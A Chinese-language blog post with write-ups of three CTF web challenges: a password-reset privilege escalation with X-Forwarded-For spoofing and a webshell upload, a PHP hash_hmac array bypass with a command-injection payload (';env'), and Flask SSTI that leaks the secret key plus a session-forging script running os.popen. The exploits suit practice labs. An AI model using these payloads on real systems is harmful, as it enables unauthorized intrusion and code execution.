首页 > 其他分享 >刷题记录(五)

刷题记录(五)

时间:2023-08-29 11:58:37浏览次数:60  
标签:monitor 记录 cat session POST ear White 刷题

攻防世界-bug

启动环境发现有登陆、注册、找回密码三个功能

随便注册一个用户

登陆以后,点击管理发现后台做了检测,非admin不让用

在初始界面有一个findpwd的链接,发现修改密码的时候会携带用户名,尝试将用户名改成admin看是否存在越权

改成admin,成功修改,再用admin账号进行登陆。访问admin时报了ip不允许,抓包加X-Forwarded-for: 127.0.0.1。

模块与文件相关猜测存在文件上传功能

上传木马,经过测试上传的结果为:

buuctf-blackcat

给了一首歌听,下载mp3文件后,用strings命令进行查看,得到以下源码:

if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('
$clandestine = getenv("clandestine");
if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
    die('
echo exec("nc".$_POST['One-ear']);

后台接收POST参数Black-Cat-SheriffWhite-cat-monitorOne-ear
hash_hmac($algo,$data,$key)函数:
当传入的$data是数组时,该函数返回结果为null,那么可以通过控制One-ear的值来控制第二次hash_hmac函数的结果。
One-ear参数传递要执行的命令,可以在要执行的命令前加;闭合nc命令。
提前计算出$hh的值,将其赋值给Black-Cat-Sheriff
最后将White-cat-monitor以数组的形式传递。
payload:

White-cat-monitor[]=0&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env

buuctf-Supercalc 1

启动环境,是一个计算器,可以进行正常的运算操作,当输入0/0的时候有错误回显:

尝试模板注入:0/0{{1+1}},页面报错

可以用注释符#进行绕过:0/0#{{1+1}}

请求包里存在session字段,用session_manager进行解密,看里面的内容:

code字段就是服务端python脚本执行的代码。
查看session加密的密钥:0/0{{config}}

拿到session加密密钥以后编写python脚本构造session:

from flask.sessions import SecureCookieSessionInterface
secret_key = "your secret key"
class FakeApp:
    secret_key = secret_key
fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(
    {"history": [{"code": '__import__("os").popen("ls").read()'}]}
)
print(cookie)
#eyJoaXN0b3J5IjpbeyJjb2RlIjoiX19pbXBvcnRfXyhcIm9zXCIpLnBvcGVuKFwibHNcIikucmVhZCgpIn1dfQ.ZO1lyw.ECpyaaSGzONPgKTrr4LgSx5CR9w

再构造session执行cat flag.txt命令,即可得到flag。

标签:monitor,记录,cat,session,POST,ear,White,刷题
From: https://www.cnblogs.com/Goo1/p/17664358.html

相关文章

  • 平时刷题遇到的一些常见问题
    文章目录1、头文件2、输入多组数据(未知长度)3、常见的输出方式(1)整体输出(2)反向输出(3)控制输出精确度(4)输出后面无空格(vector)(5)list不能随机访问,可以转换为vector输出(6)可以先输出首元素,后面在输出元素前先加上空格4、结构体入栈有几个注意事项5、堆栈溢出的几个问题6、关于返回值的问......
  • 剑指offer刷题总结
    文章目录一、数组二、链表三、栈和队列四、二叉树五、字符串六、回溯算法七、其他一、数组01、二维数组中的查找06、旋转数组的最小数字12、调整数组顺序使奇数位于偶数前面27、数组中出现次数超过一半的数字29、连续子数组的最大和31、把数组排成最小的数34、数组中的逆序对36、......
  • 一次html中展示xml字符串不显示问题记录
    现象在html中展示xml字符串时不显示原因展示xml字符串时代码为document.getElementById("demoPre").innerHTML=xml字符串,此时xml并不会作为文本显示,而是将xml节点嵌入html中,而浏览器又不能解析xml节点,最后就不显示解决办法修改代码为document.getElementById("demoPre")......
  • 「刷题记录」 [SHOI2002] 百事世界杯之旅
    第一道有关极限期望的数学题,记录一下。我们设\(f_i\)是凑齐前\(i\)个球星期望需要买的饮料数。\[E=1\times\dfrac{n-i}{n}+2\times\dfrac{i}{n}\times\dfrac{n-i}{n}+3\times\left(\dfrac{i}{n}\right)^2\times\dfrac{n-i}{n}+4\times\left......
  • 关于Python的学习记录(二十五_yield 关键字和生成器)
    Python中,生成器(Generator)是一种特殊的迭代器,它可以通过函数来创建。生成器函数使用 yield 关键字来产生一个值,并且在每次调用 yield 时暂停执行,保留函数的状态,以便下次调用时可以从上次暂停的地方继续执行。生成器具有以下特点:生成器函数使用def关键字定义,但是它们的执行方......
  • SQL刷题小计
    SQL刷题小计确定哪些订单购买了prod_id为BR01的产品(2)这个题可以采用子查询和联合查询子查询#先在第一张表当中查询出id为BRO1的数据然后再将这个数据放在第二张表当中查询selectorder_numfromorderitemswhereprod_id='BR01';selectcust_id,order_datefromOrd......
  • 51MCU记录
    记录51MCU学习过程:51MCU心得体会:学习过程中使用的普中51单片机开发学习板子,结合B站江协科技的51入门视频进行学习;本人体会开发过程中,首先是要要搞清楚原理,可以通过Datasheet来了解芯片的功能,及通信协议时序的规定,还有信号状态切换需要的最小Delay时间等等;51单片机的开发是......
  • Arch中使用Qt6的QtSql出现mysql driver not loaded的解决记录
    查阅了网上的说法,出现这个错误的原因大致可能有以下几种:Qt和mysql的位数不一样,一个是32位的,一个是64位的Qt中自带的驱动库与所使用的版本不匹配代码写错了,比如"QMYSQL"写成了"MYSQL"我出现个问题的原因是第二种。参考了一位老哥的博客QTMacM1解决mysqldrivernotloade......
  • 记录--怎么实现一个3d翻书效果
    这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助本篇主要讨论以下两种翻书动画的实现:第一种是整页翻转的效果:这种整页翻转的效果主要是做rotateY的动画,并结合一些CSS的3d属性实现。第二种折线翻转的效果,如下图所示:主要是通过计算页面翻折过来的位置。这两种......
  • 全局调用链路traceId网关到业务层、feign调用统一问题记录
           项目里面使用的traceId是基于skywalking进行打印的,但是实际使用的过程中发现网关处的traceId为空,而且feign调用其他服务时候的traceId都不一样。显示如下:       网关traceId为空:           基于此,想要把项目里面的......